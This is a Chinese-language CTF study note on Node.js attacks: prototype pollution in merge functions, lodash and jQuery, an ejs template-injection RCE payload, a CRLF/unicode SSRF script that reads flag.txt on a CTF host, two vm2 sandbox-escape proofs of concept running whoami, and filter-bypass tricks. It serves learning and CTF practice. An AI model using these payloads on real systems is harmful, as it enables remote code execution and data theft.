Node.js 相关安全问题
通用
拿到package.json
首先npm audit
看看依赖库有没有漏洞
原型链污染
漏洞特征
深入理解 JavaScript Prototype 污染攻击
以下内容出自p神的文章
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
express框架如果use(bodyParser.json())
或者use(express.json())
,支持通过content-type
接收JSON
输入,我们改为application/json
直接输入json数据。
ejs
Express+lodash+ejs: 从原型链污染到RCE
ejsrender
渲染中有大量代码拼接
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
如果能覆盖opts.outputFunctionName
,这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
同理,覆盖escapeFn
也可以
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
lodash
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr
为
{"content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在Object上附加a=b这样一个属性
JQuery
$.extend(deep,clone,copy)
会执行一个merge操作,如果copy
中有名为__proto__
的属性,则会向上影响原型
JavaScript特性
JavaScript大小写特性
- 字符
ı
、ſ
经过toUpperCase处理后结果为I
、S
- 字符
K
经过toLowerCase处理后结果为k
(这个K不是K)
js弱类型
==
比较
type | {} | [] | 0 | 1 | "" | true | false | undefined |
---|---|---|---|---|---|---|---|---|
{} | true | false | false | false | false | false | false | false |
[] | false | true | true | false | true | false | true | false |
0 | false | true | true | false | true | false | true | false |
1 | false | false | false | true | false | true | false | false |
"" | false | true | true | false | true | false | true | false |
true | false | false | false | true | false | true | false | false |
false | false | true | true | false | true | false | true | false |
undefined | false | false | false | false | false | false | false | true |
+
- 如果两个操作数都是字符串,则将第二个操作数与第一个操作数拼接起来
- 如果只有一个操作数是字符串,则将另一个操作数转换为字符串,然后再将两个字符串拼接
- 如果有一个操作数是对象、数值或布尔值,则调用它们的
toString()
方法取得相应的字符串 - 对于
undefined
和null
,则分别调用String()
函数并取得字符串"undefined"
和"null"
乱七八糟
HackTM中一道Node.js题分析(Draw with us)
js中的对象只能使用
String
类型作为键类型,什么别的类型传进去就要做一次toString()
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
sort()
方法用原地算法对数组的元素进行排序,并返回数组。默认排序顺序是在将元素转换为字符串,然后比较它们的UTF-16代码单元值序列时构建的
const array1 = [1, 30, 4, 21, 100000];
array1.sort();
console.log(array1);
// expected output: Array [1, 100000, 21, 30, 4]
多字节编码截断
虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节
> Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r\n/test'
例题:[GYCTF2020]Node Game
利用Nodejs 10以下http
模块存在的编码问题和crlf注入达到ssrf
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close
------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
doctype html
html
head
title flag
body
include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--
GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
vm沙箱逃逸
Buffer leak
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
vm2v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
或者
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
bypass
- 过滤关键词,可以使用
`
,例如`${`${`prototyp`}e`}`
- 对象的属性可以用
object['attr']
,也可以object.attr
String.fromCharCode()
可以将数字和字母转换
参考链接
Node.js 常见漏洞学习与总结
i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp
Javascript 原型链污染 分析
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs